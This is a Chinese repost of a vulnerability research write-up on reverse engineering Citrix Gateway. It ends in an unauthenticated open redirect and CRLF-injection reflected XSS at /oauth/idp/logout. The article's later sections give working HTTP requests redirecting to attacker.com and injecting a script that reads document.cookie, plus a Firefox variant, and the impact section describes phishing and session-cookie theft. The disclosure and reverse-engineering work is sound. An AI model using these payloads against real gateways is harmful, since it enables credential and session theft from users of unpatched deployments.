前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >"揭开Citrix Gateway XSS漏洞的破解:逆向工程揭示可利用的缺陷"

"揭开Citrix Gateway XSS漏洞的破解:逆向工程揭示可利用的缺陷"

作者头像
公众号图幻未来
发布2024-01-13 13:42:29
2070
发布2024-01-13 13:42:29
举报
文章被收录于专栏:解决方案服务解决方案服务

“去年底我们研究的一个目标是Citrix Gateway。 Citrix Gateway是另一种“一体化”网络设备,集成了负载均衡器、防火墙、VPN等功能。早期版本的该产品以“NetScaler”的名称销售。 ”

在这种情况下,我们只关注VPN组件(Citrix Gateway)。根据最新的数据,大约有约50,000个Citrix Gateway实例是公开可访问的。因此,即使是像跨站脚本这样的小问题也可能产生巨大影响。

在我们的研究中,我们发现了一个无需身份验证即可利用的开放重定向漏洞。我们还能够通过这个漏洞实施CRLF注入,从而导致XSS攻击或者如果Citrix Gateway部署在这样的配置中,还可能导致缓存污染。

对于那些担心安全问题的人,请立即更新您的部署,修补细节可以在这里找到。在撰写本文之前,我们对一百个Citrix Gateway实例进行了快速扫描,发现超过一半的实例仍然没有打补丁。

理解Citrix Gateway

Citrix Gateway是一个基于FreeBSD的衍生版本,具有几个扩展功能,包括自定义的网络堆栈。应用程序的一大部分(包括这个网络堆栈)被打包到了一个称为Netscaler Packet Processing Engine(nsppe)的组件中。

最初不了解这一点会使逆向工程变得有些困惑,因为常见的技术并不按预期工作。例如,由于我们的目标是一个Web服务,一个简单的起点是查找哪个进程正在监听该端口,然后从那里开始进行调查。

但是,如果我们运行sockstat(类似于netstat的FreeBSD实用程序),我们会得到以下结果:

代码语言:javascript
复制
root@ns#?sockstat?-4?-l
USER?????COMMAND????PID???FD?PROTO??LOCAL?ADDRESS?????????FOREIGN?ADDRESS??????
nsmonitor?nsumond???831???6??tcp4???127.0.0.1:3013????????*:*
root?????snmpd??????615???10?tcp4???127.0.0.1:3335????????*:*
root?????snmpd??????615???20?udp4???192.168.1.90:161??????*:*
root?????snmpd??????615???21?udp4???127.0.0.1:161?????????*:*
root?????nscertforg?613???3??tcp4???127.0.0.1:15555???????*:*
root?????aslearn????611???11?tcp4???127.0.0.1:3020????????*:*
root?????iked???????607???6??udp4???192.168.1.90:500??????*:*
root?????iked???????607???7??udp4???127.0.0.1:500?????????*:*
root?????iked???????607???8??udp4???192.168.1.90:4500?????*:*
root?????iked???????607???9??udp4???127.0.0.1:4500????????*:*
root?????iked???????607???10?tcp4???127.0.0.1:8888????????*:*
root?????nsaaad?????602???3??tcp4???127.0.0.1:8766????????*:*
root?????nskrb??????598???3??tcp4???127.0.0.1:8788????????*:*
root?????php????????543???3??tcp4???127.0.0.1:9999????????*:*
root?????imi????????529???5??tcp4???*:4001????????????????*:*
root?????imi????????529???6??tcp4???127.0.0.1:3001????????*:*
root?????nsconfigd??516???10?tcp4???*:3010????????????????*:*
root?????nsclusterd?480???5??tcp4???127.0.0.1:7001????????*:*
root?????nsclusterd?480???6??tcp4???127.0.0.1:7002????????*:*
root?????nsclusterd?480???7??tcp4???127.0.0.1:7003????????*:*
root?????nsclusterd?480???8??udp4???*:*???????????????????*:*
root?????nsaggregat?478???3??tcp4???127.0.0.1:5555????????*:*
root?????nsmap??????476???5??tcp4???127.0.0.1:3014????????*:*
nobody???httpd??????284???4??tcp4???*:80??????????????????*:*
nobody???httpd??????284???5??tcp4???127.0.0.1:81??????????*:*
nobody???httpd??????283???4??tcp4???*:80??????????????????*:*
nobody???httpd??????283???5??tcp4???127.0.0.1:81??????????*:*
nobody???httpd??????282???4??tcp4???*:80??????????????????*:*
nobody???httpd??????282???5??tcp4???127.0.0.1:81??????????*:*
nobody???httpd??????281???4??tcp4???*:80??????????????????*:*
nobody???httpd??????281???5??tcp4???127.0.0.1:81??????????*:*
nobody???httpd??????280???4??tcp4???*:80??????????????????*:*
nobody???httpd??????280???5??tcp4???127.0.0.1:81??????????*:*
root?????sshd???????213???4??tcp4???*:22??????????????????*:*
root?????httpd??????207???4??tcp4???*:80??????????????????*:*
root?????httpd??????207???5??tcp4???127.0.0.1:81??????????*:*
root?????syslogd????197???6??udp4???127.0.0.1:514?????????*:*

值得注意的是,我们要查找的Citrix Gateway服务是在443端口上访问的。而这个端口在上面的列表中根本没有出现。因为Citrix Gateway使用自己的网络堆栈,所以它不像纯净的FreeBSD安装那样填充了像sockstat这样的工具使用的数据结构。

通过查阅文档和在网上搜索,我们确实发现,如果我们从bash shell切换到提供的Citrix Gateway命令shell,有一些命令可以给我们提供一些信息。

代码语言:javascript
复制
>?show?ns?connectiontable?-Listen
NAME???????IP???????????????????????????????????????PORT????SVCTYPE??????Traffic?Domain?
INTERNAL???127.0.0.1????????????????????????????????0???????ROUTE????????0??????????????
INTERNAL???192.168.1.90?????????????????????????????0???????TCP??????????0??????????????
INTERNAL???192.168.1.90?????????????????????????????0???????ANY??????????0??????????????
INTERNAL???fe80::20c:29ff:feae:24c2?????????????????0???????TCP??????????0??????????????
INTERNAL???fe80::20c:29ff:feae:24c2?????????????????0???????ANY??????????0??????????????
INTERNAL???::1??????????????????????????????????????0???????ROUTE????????0??????????????
INTERNAL???0.0.0.0??????????????????????????????????520?????RIP??????????0??????????????
INTERNAL???127.0.0.1????????????????????????????????5000????RPCSVR???????0??????????????
INTERNAL???192.168.1.90?????????????????????????????520?????RIP??????????0??????????????
INTERNAL???192.168.1.90?????????????????????????????21??????FTP??????????0??????????????
INTERNAL???fe80::20c:29ff:feae:24c2?????????????????21??????FTP??????????0??????????????
INTERNAL???192.168.1.90?????????????????????????????161?????SNMP?????????0??????????????
INTERNAL???fe80::20c:29ff:feae:24c2?????????????????4001????TCP??????????0??????????????
INTERNAL???fe80::20c:29ff:feae:24c2?????????????????161?????SNMP?????????0??????????????
INTERNAL???192.168.1.90?????????????????????????????179?????ANY??????????0??????????????
ns_int_ulf?127.0.0.2????????????????????????????????5557?????????????????0??????????????
ns_int_tcp?127.0.0.2????????????????????????????????53??????DNS_TCP??????0??????????????
ns_int_nam?127.0.0.2????????????????????????????????53??????DNS??????????0??????????????
INTERNAL???192.168.1.91?????????????????????????????443?????UNKNOWN??????0??????????????
Gateway????192.168.1.91?????????????????????????????443?????SSL??????????0??????????????
nshttps-12?192.168.1.90?????????????????????????????443?????SSL??????????0

然而,这仍然没有给我们提供太多线索。在这个阶段,我们感到有点失落。由于没有太多其他的线索,我们开始寻找关于Citrix Gateway和NetScaler操作系统架构的任何手册或文档,以了解设备的工作方式。

在翻阅了许多泄露非官方博文后,我们对Citrix Gateway的工作原理有了大致的了解。至少我们知道,审计nsppe可能是我们应该开始的地方。

Citrix Gateway作为网络堆栈与nsppe二进制文件捆绑在一起的一个有趣特性是,任何调试都必须在控制台上进行。

可以想象,为什么要这样做,因为在SSH会话中设置断点将中断连接,因为在挂起进程期间无法进行更多的数据包处理来支持SSH会话。

因此,大部分分析是通过阅读代码而不是通过交互式调试来进行的。

我们发现二进制文件位于 /netscaler/nsppe,并且非常庞大,大小为42MB。

我们将二进制文件复制出来,并使用Ghidra进行反编译,但不幸的是,反编译过程中出现了一些关键函数失败的情况。

在将反编译器资源增加到以下值后,我们取得了更多的成功:在编辑 -> 工具选项 -> 反编译器中进行设置。

缓存大小(函数):2048 反编译器最大负载(Mbytes):512 反编译器超时时间(秒):900 每个函数的最大指令数:3000000

我们让Ghidra进行了大约一个小时的反编译,返回后发现一切都成功地被反编译了。将每个函数保存为一个.c文件后,我们得到了大约300MB的代码需要审查!虽然很多,但至少我们有了一个起点。

我们开始在代码中使用grep来查找与URL(分隔符为斜杠的ASCII文本)类似的字符串。

结合浏览我们自己的Citrix Gateway实例和在线实例,因为不同的配置和版本会产生稍有不同的登录页面。最后,我们还阅读了更多来自Citrix的配置文档。通过结合这三种技术,我们获得了一个相当大的端点列表进行枚举。

我们按照列表中的每个端点进行了尝试,使用Burp进行测试,以确定Citrix Gateway是否实际响应,以及如何响应。有些端点有效,有些则无效。

在代码中搜索我们访问的端点的引用,或者搜索响应中出现的字符串

例如,如果一个端点将我们重定向到/vpn/tmlogout.html,我们就会在代码中搜索/vpn/tmlogout.html。

最终找到的一个函数是ns_vpn_process_unauthenticated_request。

可以根据名称猜到,我们搜索的许多端点都会导致我们回到这个函数。而且它被命名为“未经身份验证”的事实让人鼓舞,因为我们正在寻找预身份验证的漏洞。

直到此时,我们遇到的一个大问题是不太清楚路径路由是如何执行的。我们可以在二进制文件中看到很多URL,但大多数要么是在日志消息中,要么是在响应负载中,比如包含URL的硬编码字符串,其中包括XML响应负载。

在研究ns_vpn_process_unauthenticated_request函数时,我们意识到Ghidra无法识别出许多经过编译器优化的字符串比较。在ns_vpn_process_unauthenticated_request函数中,我们找到了许多以下模式的实例。

代码语言:javascript
复制
if?((((ulong)*(?developer/article/2379050/undefined8?*******)pBVar3?|?0x2020202020202020)?==?0x687475612f666e2f)?&&
???(((ulong)(pBVar3->RR).d?|?0x2020202020202020)?==?0x657774726174732f))?{
??bVar48?=?(*(ulong?*)&(pBVar3->RR).top?|?0x2020202020202020)?!=?0x6f642e7765697662;
}
if?(!bVar48)?{
??uVar37?=?ns_aaa_start_webview_for_authv3((long)local_50,(long)local_48);
??pBVar39?=?(BN_MONT_CTX?*)(uVar37?&?0xffffffff);
??goto?LAB_0073f539;
}

在这个if语句中,有几个比较条件,每个字节都与0x20进行或操作,然后是某种响应处理程序,如上例中的ns_aaa_start_webview_for_authv3。

在Ghidra中将鼠标悬停在十六进制比较值上时,会显示char[]表示形式。对于上面的例子,它们分别是以下三个值

0x687475612f666e2f -> htua/fn/ 0x657774726174732f -> ewtrats/ 0x6f642e7765697662 -> od.weivb

如果我们反转字节顺序,我们将得到以下结果:

0x687475612f666e2f -> /nf/auth 0x657774726174732f -> /startwe 0x6f642e7765697662 -> bview.do

现在我们终于弄清楚了路径路由是如何进行的,以及为什么很难搜索到。编译器将这些短字符串比较内联到了几个相等性检查中,而不是调用单独的函数。| 0x20模式是一种位操作技巧,用于将输入转为小写。

小写的ASCII字母与它们的大写对应字母相差32字节(0x20)。通过与0x20进行或操作,可以将任何大写字母转换为小写,同时保持所有现有小写字母不变。

寻找跨站脚本攻击(Cross-Site Scripting)

现在我们对情况有了更好的理解,我们能够发现更多未经身份验证的端点进行枚举。而且我们不需要进行太多搜索来找出处理这些端点的代码所在。

我们找到了一个端点是/oauth/idp/logout。在我们的ns_vpn_process_unauthenticated_request函数的路由代码中,可以看到以下内容。

代码语言:javascript
复制
if?(((((ulong)*(?developer/article/2379050/undefined8?*******)pBVar3?|?0x2020202020202020)?==?0x692f687475616f2f)
????&&?(((ulong)(pBVar3->RR).d?|?0x2020202020202020)?==?0x756f676f6c2f7064))?&&
???((*(byte?*)&(pBVar3->RR).top?|?0x20)?==?0x74))?{
??uVar37?=?ns_aaa_oauth_fetch_logout_url(0,(long)pBVar3,(uint)uVar8);
??vpn_location_url_len?=?(int)uVar37;
??if?(vpn_location_url_len?<?1)?{
????vpn_location_url?=?"/vpn/tmlogout.html";
????vpn_location_url_len?=?0x12;
????uVar14?=?0x880002;
??}
??else?{
????vpn_location_url?=?(char?*)tmpbuf512;
????uVar14?=?0x880002;
??}
??goto?LAB_0073da38;
}

通过对这个端点在Burp中进行试验,我们确定了查询参数post_logout_redirect_uri。根据参数的名称以及我们对这个函数的了解,它似乎是一个很好的候选项,可能存在开放重定向漏洞。

我们尝试了一下我们的理论,并且很高兴地发现了我们的第一个漏洞,一个开放重定向漏洞。

代码语言:javascript
复制
GET?/oauth/idp/logout?post_logout_redirect_uri=attacker.com?HTTP/1.1
Host:?192.168.1.91

HTTP/1.1?302?Object?Moved
Location:?attacker.com
X-Content-Type-Options:?nosniff
X-XSS-Protection:?1;?mode=block
Connection:?close
Content-Length:?0
Cache-control:?no-cache,?no-store,?must-revalidate
Pragma:?no-cache
Content-Type:?text/html;?charset=utf-8

在我们的分析中(包括这里和其他地方),我们看到了大量的原始内存处理和复制操作。因此,我们认为有必要再次检查参数是否存在CRLF注入,并发现我们能够将其转变为反射型跨站脚本攻击。

通过在开头插入两个换行符(%0d%0a%0d%0a),提前结束HTTP头并开始插入HTML内容。

代码语言:javascript
复制
GET?/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.cookie)</script>?HTTP/1.1
Host:?192.168.1.91

HTTP/1.1?302?Object?Moved
Location:?

<script>alert(1)</script>
X-Content-Type-Options:?nosniff
X-XSS-Protection:?1;?mode=block
Connection:?close
Content-Length:?0
Cache-control:?no-cache,?no-store,?must-revalidate
Pragma:?no-cache
Content-Type:?text/html;?charset=utf-8

在Chrome中,这是一个立即触发的XSS漏洞,而Firefox对于空的Location头处理略有不同。在Firefox中,一个有效的载荷是ws://localhost/x%0D%0A%0D%0A。

影响

通过这个漏洞,我们能够轻易地将用户重定向到仿制的Citrix Gateway登录界面的钓鱼页面,以窃取凭据。或者,我们可以在受害者的浏览器中执行任意的JavaScript代码。Citrix Gateway似乎对会话Cookie的处理相对宽松,很少设置HttpOnly属性。因此,窃取会话Cookie非常容易,如下所示。

即使OAuth没有启用或配置,易受攻击的端点仍然可用。正如文章开头提到的,Citrix Gateway的部署广泛且在发布文章时通常未修补。这导致了大量的公共受影响主机。

结论

从这项研究中我们得到了一些关键的经验教训,其中包括真正理解特定应用程序的架构。特别是如果操作系统没有运行基于Linux / BSD的原始版本,即使表面上看操作系统未经修改。对于像Ghidra这样的工具,也要了解它如何处理编译器优化,这可能会模糊代码实际尝试实现的目标,就像字符串比较的情况一样。

最后,不要忽视CRLF注入等小事。当处理未运行标准Web服务器的设备时,尝试这些通常具有内置保护的技术是值得的。

在Citrix Gateway中还有很多需要研究的内容,我们只是触及了表面。而且由于广泛的部署基础,即使是小的漏洞也可能产生重大影响。

本文系转载,前往查看

如有侵权,请联系?cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系?cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 理解Citrix Gateway
  • 寻找跨站脚本攻击(Cross-Site Scripting)
  • 影响
  • 结论
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com